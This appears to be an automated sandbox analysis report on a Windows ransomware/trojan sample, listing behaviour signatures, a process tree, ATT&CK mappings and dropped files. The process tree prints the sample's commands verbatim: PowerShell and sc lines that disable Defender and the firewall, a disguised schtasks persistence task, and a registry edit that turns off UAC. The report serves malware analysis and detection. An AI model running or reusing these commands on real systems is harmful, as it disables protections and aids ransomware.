Overview

overview

10

Static

static

10

nexus.cc-release.exe

windows10-2004-x64

10

nexus.cc-release.exe

windows11-ltsc_2024-x64

Analysis

  • geolocation tags

    nanew-jerseynorth-americaunited-statesususa
  • user interaction
    yes
  • max time kernel
    899s
  • max time network
    438s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    16/09/2026, 12:18

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    nexus.cc-release.exe
  • Size 16.2MB
  • Sample260916-pgzabazerd
  • SHA256 6fa4c734f0dfe1e760b23cc43a79a8668a90b7226229998d8101f85c7c36b3e3
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
adwaredefense_evasiondiscoveryevasionexecutionpersistenceransomwarespywaretrojan

Malware Config

Signatures

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies WinLogon for persistence 2 TTPs 2 IoCs
    persistence
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs
    defense_evasiontrojan
  • UAC bypass 3 TTPs 4 IoCs
    defense_evasiontrojan
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell and hide display window.

    execution
  • Disables RegEdit via registry modification 2 IoCs
    defense_evasion
  • Disables Task Manager via registry modification
    defense_evasion
  • Disables cmd.exe use via registry modification 2 IoCs
    defense_evasion
  • Drops file in Drivers directory 7 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 34 IoCs
    persistence
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks whether UAC is enabled 1 TTPs 2 IoCs
    defense_evasiontrojan
  • Indicator Removal: Clear Persistence 1 TTPs 1 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

    defense_evasion
  • Drops file in System32 directory 11 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
    execution
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 15 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

    discovery
  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Kills process with taskkill 1 IoCs
    defense_evasion
  • Modifies Control Panel 2 IoCs
    defense_evasion
  • Modifies Internet Explorer settings 1 TTPs 4 IoCs
    adwarespyware
  • Modifies registry class 10 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 29 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 12 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 53 IoCs
  • System policy modification 1 TTPs 22 IoCs
    defense_evasion
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\nexus.cc-release.exe
    "C:\Users\Admin\AppData\Local\Temp\nexus.cc-release.exe"
    1⤵
    • Drops file in Drivers directory
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5044
    • C:\Windows\system32\drivers\etc\svchost32.exe
      "C:\Windows\system32\drivers\etc\svchost32.exe"
      2⤵
      • Modifies WinLogon for persistence
      • Modifies Windows Defender DisableAntiSpyware settings
      • Modifies Windows Defender Real-time Protection settings
      • UAC bypass
      • Disables RegEdit via registry modification
      • Disables cmd.exe use via registry modification
      • Drops file in Drivers directory
      • Event Triggered Execution: Image File Execution Options Injection
      • Checks computer location settings
      • Executes dropped EXE
      • Adds Run key to start application
      • Checks whether UAC is enabled
      • Sets desktop wallpaper using registry
      • Modifies Control Panel
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      • System policy modification
      PID:2284
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c schtasks /delete /tn "\Microsoft\Windows\WindowsUpdate\svchost" /f
        3⤵
        • Indicator Removal: Clear Persistence
        • Suspicious use of WriteProcessMemory
        PID:4204
        • C:\Windows\system32\schtasks.exe
          schtasks /delete /tn "\Microsoft\Windows\WindowsUpdate\svchost" /f
          4⤵
            PID:4632
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "\Microsoft\Windows\WindowsUpdate\svchost" /tr "C:\Windows\system32\drivers\etc\svchost32.exe" /sc onlogon /rl HIGHEST /f
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1764
          • C:\Windows\system32\schtasks.exe
            schtasks /create /tn "\Microsoft\Windows\WindowsUpdate\svchost" /tr "C:\Windows\system32\drivers\etc\svchost32.exe" /sc onlogon /rl HIGHEST /f
            4⤵
            • Scheduled Task/Job: Scheduled Task
            PID:3536
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:860
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:928
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -DisableBlockAtFirstSeen $true"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3924
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -DisableIOAVProtection $true"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4048
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -DisablePrivacyMode $true"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:668
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -SignatureDisableUpdate $true"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4784
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc stop WinDefend
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:916
          • C:\Windows\system32\sc.exe
            sc stop WinDefend
            4⤵
            • Launches sc.exe
            PID:2488
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4312
          • C:\Windows\system32\sc.exe
            sc config WinDefend start=disabled
            4⤵
            • Launches sc.exe
            PID:988
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc stop SecurityHealthService
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:204
          • C:\Windows\system32\sc.exe
            sc stop SecurityHealthService
            4⤵
            • Launches sc.exe
            PID:4580
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc config SecurityHealthService start=disabled
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3956
          • C:\Windows\system32\sc.exe
            sc config SecurityHealthService start=disabled
            4⤵
            • Launches sc.exe
            PID:436
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc stop WdFilter
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3432
          • C:\Windows\system32\sc.exe
            sc stop WdFilter
            4⤵
            • Launches sc.exe
            PID:5052
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc config WdFilter start=disabled
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4028
          • C:\Windows\system32\sc.exe
            sc config WdFilter start=disabled
            4⤵
            • Launches sc.exe
            PID:812
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc stop WdNisDrv
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4072
          • C:\Windows\system32\sc.exe
            sc stop WdNisDrv
            4⤵
            • Launches sc.exe
            PID:3372
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc config WdNisDrv start=disabled
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3160
          • C:\Windows\system32\sc.exe
            sc config WdNisDrv start=disabled
            4⤵
            • Launches sc.exe
            PID:4404
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc stop WdNisSvc
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1216
          • C:\Windows\system32\sc.exe
            sc stop WdNisSvc
            4⤵
            • Launches sc.exe
            PID:3468
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc config WdNisSvc start=disabled
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:656
          • C:\Windows\system32\sc.exe
            sc config WdNisSvc start=disabled
            4⤵
            • Launches sc.exe
            PID:4332
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc stop WdBoot
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2508
          • C:\Windows\system32\sc.exe
            sc stop WdBoot
            4⤵
            • Launches sc.exe
            PID:1176
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc config WdBoot start=disabled
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3360
          • C:\Windows\system32\sc.exe
            sc config WdBoot start=disabled
            4⤵
            • Launches sc.exe
            PID:4988
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc stop MpsSvc
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:5108
          • C:\Windows\system32\sc.exe
            sc stop MpsSvc
            4⤵
            • Launches sc.exe
            PID:60
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc config MpsSvc start=disabled
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1648
          • C:\Windows\system32\sc.exe
            sc config MpsSvc start=disabled
            4⤵
            • Launches sc.exe
            PID:1712
        • C:\Windows\SYSTEM32\taskkill.exe
          taskkill.exe /im Explorer.exe /f
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:3440
        • C:\Windows\SYSTEM32\wscript.exe
          wscript.exe "C:\Users\Admin\AppData\Local\Temp\catcrypt_show.vbs" "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
          3⤵
          • Checks computer location settings
          • Executes a VBScript file via the Windows Script Host.
          • Modifies registry class
          • Suspicious use of WriteProcessMemory
          PID:4380
          • C:\Windows\system32\mspaint.exe
            "C:\Windows\system32\mspaint.exe" "C:\Users\Admin\AppData\Local\Temp\catcrypt_block.png" /ForceBootstrapPaint3D
            4⤵
            • Modifies registry class
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of SetWindowsHookEx
            PID:4416
    • C:\Windows\explorer.exe
      explorer.exe ,"C:\Windows\system32\drivers\etc\svchost32.exe"
      1⤵
        PID:2440
      • C:\Windows\explorer.exe
        C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
        1⤵
        • Modifies Internet Explorer settings
        • Modifies registry class
        • Suspicious behavior: AddClipboardFormatListener
        • Suspicious behavior: GetForegroundWindowSpam
        • Suspicious use of SetWindowsHookEx
        PID:1108
      • C:\Windows\system32\drivers\etc\svchost32.exe
        C:\Windows\system32\drivers\etc\svchost32.exe
        1⤵
        • Executes dropped EXE
        PID:2176
      • C:\Windows\system32\drivers\etc\svchost32.exe
        "C:\Windows\system32\drivers\etc\svchost32.exe"
        1⤵
        • Executes dropped EXE
        PID:2948
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --default-search-provider=? --out-pipe-name=MSEdgeDefaultc1407341hb1cfh45fch9f57haebd4692b0f2
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:4288
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --default-search-provider=? --out-pipe-name=MSEdgeDefaultc1407341hb1cfh45fch9f57haebd4692b0f2 --edge-skip-compat-layer-relaunch
          2⤵
          • Enumerates system info in registry
          • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
          • Suspicious use of WriteProcessMemory
          PID:3476
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x234,0x238,0x23c,0x230,0x2ec,0x7ffb5c64c188,0x7ffb5c64c194,0x7ffb5c64c1a0
            3⤵
              PID:4988
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1804,i,15146110686983347380,15895537536424480845,524288 --field-trial-handle=2212,i,9078981147602462038,7367061623357769841,262144 --variations-seed-version --mojo-platform-channel-handle=2272 /prefetch:3
              3⤵
              • System Time Discovery
              PID:4720
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1632,i,3545736201244420873,7573264028581740319,262144 --field-trial-handle=2212,i,9078981147602462038,7367061623357769841,262144 --variations-seed-version --mojo-platform-channel-handle=2208 /prefetch:2
              3⤵
                PID:2180
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2316,i,9021721526481846009,5583854744374867530,524288 --field-trial-handle=2212,i,9078981147602462038,7367061623357769841,262144 --variations-seed-version --mojo-platform-channel-handle=3060 /prefetch:8
                3⤵
                  PID:4116
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --no-pre-read-main-dll --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=2716,i,12189365578093444804,9966485352027797916,2097152 --field-trial-handle=2212,i,9078981147602462038,7367061623357769841,262144 --variations-seed-version --mojo-platform-channel-handle=3096 /prefetch:2
                  3⤵
                    PID:4264
              • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
                1⤵
                  PID:5048
                • C:\Windows\explorer.exe
                  explorer.exe
                  1⤵
                  • Boot or Logon Autostart Execution: Active Setup
                  • Modifies registry class
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4912
                • C:\Windows\system32\AUDIODG.EXE
                  C:\Windows\system32\AUDIODG.EXE 0x4f4 0x4f8
                  1⤵
                    PID:2408
                  • C:\Windows\System32\svchost.exe
                    C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s DsSvc
                    1⤵
                    • Drops file in System32 directory
                    PID:3468
                  • C:\Windows\system32\OpenWith.exe
                    C:\Windows\system32\OpenWith.exe -Embedding
                    1⤵
                    • Suspicious behavior: GetForegroundWindowSpam
                    • Suspicious use of SetWindowsHookEx
                    PID:3984

                  Network

                        MITRE ATT&CK Enterprise v16

                        Reconnaissance

                        Resource Development

                        Initial Access

                        Execution

                        Command and Scripting Interpreter

                        3
                        T1059

                        PowerShell

                        1
                        T1059.001

                        Visual Basic

                        1
                        T1059.005

                        Windows Command Shell

                        1
                        T1059.003

                        Scheduled Task/Job

                        1
                        T1053

                        Scheduled Task

                        1
                        T1053.005

                        System Services

                        1
                        T1569

                        Service Execution

                        1
                        T1569.002

                        Persistence

                        Boot or Logon Autostart Execution

                        3
                        T1547

                        Active Setup

                        1
                        T1547.014

                        Registry Run Keys / Startup Folder

                        1
                        T1547.001

                        Winlogon Helper DLL

                        1
                        T1547.004

                        Create or Modify System Process

                        3
                        T1543

                        Windows Service

                        3
                        T1543.003

                        Event Triggered Execution

                        1
                        T1546

                        Image File Execution Options Injection

                        1
                        T1546.012

                        Scheduled Task/Job

                        1
                        T1053

                        Scheduled Task

                        1
                        T1053.005

                        Privilege Escalation

                        Abuse Elevation Control Mechanism

                        1
                        T1548

                        Bypass User Account Control

                        1
                        T1548.002

                        Boot or Logon Autostart Execution

                        3
                        T1547

                        Active Setup

                        1
                        T1547.014

                        Registry Run Keys / Startup Folder

                        1
                        T1547.001

                        Winlogon Helper DLL

                        1
                        T1547.004

                        Create or Modify System Process

                        3
                        T1543

                        Windows Service

                        3
                        T1543.003

                        Event Triggered Execution

                        1
                        T1546

                        Image File Execution Options Injection

                        1
                        T1546.012

                        Scheduled Task/Job

                        1
                        T1053

                        Scheduled Task

                        1
                        T1053.005

                        Defense Evasion

                        Abuse Elevation Control Mechanism

                        1
                        T1548

                        Bypass User Account Control

                        1
                        T1548.002

                        Impair Defenses

                        4
                        T1562

                        Disable or Modify Tools

                        3
                        T1562.001

                        Indicator Removal

                        1
                        T1070

                        Clear Persistence

                        1
                        T1070.009

                        Modify Registry

                        9
                        T1112

                        Credential Access

                        Discovery

                        Browser Information Discovery

                        1
                        T1217

                        Query Registry

                        3
                        T1012

                        System Information Discovery

                        4
                        T1082

                        System Time Discovery

                        1
                        T1124

                        Lateral Movement

                        Collection

                        Command and Control

                        Exfiltration

                        Impact

                        Defacement

                        1
                        T1491

                        Service Stop

                        1
                        T1489

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        powershell.exe.log
                        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                        • Size 4KB
                        • SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        svchost32.exe.log
                        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\svchost32.exe.log
                        • Size 1KB
                        • SHA256 c897436c82fda9abf08b29fe05c42f4e59900116bbaf8bfd5b85ef3c97ab7884
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        settings.dat
                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                        • Size 280B
                        • SHA256 02cf6c2debe9573f3713554c359339f3deb6fa4abd8c14fc6d2577e42ce2d830
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        settings.dat
                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                        • Size 280B
                        • SHA256 98f220c14bd3d385f1dd482d8b868745c75685e4a2573b4336f235cf3bdce6c1
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        SiteList-Enterprise.json
                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
                        • Size 2B
                        • SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
                        • MD5 SHA1 SHA512
                        Submit Download

                        Edge Profile.ico
                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
                        • Size 70KB
                        • SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        Preferences
                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                        • Size 7KB
                        • SHA256 3240deeb03cc678324017caa64675d8e2561f9b49a4dc0a975866ace68c16a23
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        Secure Preferences
                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
                        • Size 26KB
                        • SHA256 fe264fde7b1611b212bc9768bd833ea9fee75c131e589654c56acfcd5a5f84cc
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        Local State
                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                        • Size 8KB
                        • SHA256 dee9a353ae0ec07a870311e122edda4dcb758928fe66966da91678c490cb787a
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        Local State
                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                        • Size 9KB
                        • SHA256 3bcc24050900b133051127cfcec6221d86dd8dd65baf95977172270021bb689f
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        Local State
                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                        • Size 8KB
                        • SHA256 c6f648a2691c2da2ade4e59da217bc0884fbedf848f416aba2cafdfbfcaf1556
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        Local State
                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                        • Size 9KB
                        • SHA256 01bf81d0412183f0057417b89e2d64813a9b2696b80327d336c8c0be755c5582
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        StartupProfileData-NonInteractive
                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                        • Size 1KB
                        • SHA256 a02489f9c6ee6542071978fc3ad36496065b1216d1a0322be63c8a2ca606f724
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        StartupProfileData-NonInteractive
                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                        • Size 1KB
                        • SHA256 b0902c232b943385411f69ce96e09a227f6346f6d86ed2d27dbf2c66c0e83713
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        StartupProfileData-NonInteractive
                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                        • Size 1KB
                        • SHA256 c49fe5cc19614e4e78665c3766f989f18bf3784f63684427aa9c7587dc7bc154
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        StartupProfileData-NonInteractive
                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                        • Size 1KB
                        • SHA256 2649c52622cb6747aa5d9e1203aa311d96d9b55819f3e87c10966ebe5a96a424
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        StartupProfileData-NonInteractive
                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                        • Size 1KB
                        • SHA256 a2def077f3ce4be872eedca22e9032b33388c44010de2e22f695ecd04b3ac712
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        __PSScriptPolicyTest_coxdbjuf.3bc.ps1
                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_coxdbjuf.3bc.ps1
                        • Size 60B
                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        catcrypt_block.png
                        • Path C:\Users\Admin\AppData\Local\Temp\catcrypt_block.png
                        • Size 52KB
                        • SHA256 d50f96790201d3293f1627f56e04069b2834e5d543b3bf9f90a49df530574a46
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        catcrypt_show.vbs
                        • Path C:\Users\Admin\AppData\Local\Temp\catcrypt_show.vbs
                        • Size 940B
                        • SHA256 d90ae5c72d612cf50824af73481a2f02330a44ae1e949ad7630040ad2317d0bd
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        svchost32.exe
                        • Path C:\Windows\System32\drivers\etc\svchost32.exe
                        • Size 16.2MB
                        • SHA256 6fa4c734f0dfe1e760b23cc43a79a8668a90b7226229998d8101f85c7c36b3e3
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        $boot_marker.tmp
                        • Path C:\Windows\system32\drivers\etc\$boot_marker.tmp
                        • Size 9B
                        • SHA256 8fc9dca50d84504e760d7897eb4eaca51ef7271199160dd7c43598740990ef4b
                        • MD5 SHA1 SHA512
                        Submit Download

                        $unlocker_id.ux-cryptobytes
                        • Path C:\Windows\system32\drivers\etc\$unlocker_id.ux-cryptobytes
                        • Size 6B
                        • SHA256 c8441e47fcc658487abbc79ae904d9fe6f396443bdb94a8aad09d563a31efdb1
                        • MD5 SHA1 SHA512
                        Submit Download

                        memory/860-46-0x00000239F3300000-0x00000239F330A000-memory.dmp
                        Download

                        memory/860-29-0x00000239F3020000-0x00000239F3042000-memory.dmp
                        Download

                        memory/860-38-0x00000239F32D0000-0x00000239F32EC000-memory.dmp
                        Download

                        memory/860-39-0x00000239F35E0000-0x00000239F3695000-memory.dmp
                        Download

                        memory/860-50-0x00000239F3840000-0x00000239F384A000-memory.dmp
                        Download

                        memory/860-49-0x00000239F37F0000-0x00000239F37F6000-memory.dmp
                        Download

                        memory/860-48-0x00000239F37E0000-0x00000239F37E8000-memory.dmp
                        Download

                        memory/860-47-0x00000239F3820000-0x00000239F383A000-memory.dmp
                        Download

                        memory/860-40-0x00000239F32F0000-0x00000239F32FA000-memory.dmp
                        Download

                        memory/860-41-0x00000239F3800000-0x00000239F381C000-memory.dmp
                        Download

                        memory/928-69-0x000001E11DDE0000-0x000001E11DE95000-memory.dmp
                        Download

                        memory/2284-135-0x000000001BFC0000-0x000000001BFD0000-memory.dmp
                        Download

                        memory/2284-19-0x000000001BFC0000-0x000000001BFD0000-memory.dmp
                        Download

                        memory/3468-271-0x00000195E3BA0000-0x00000195E3BB0000-memory.dmp
                        Download

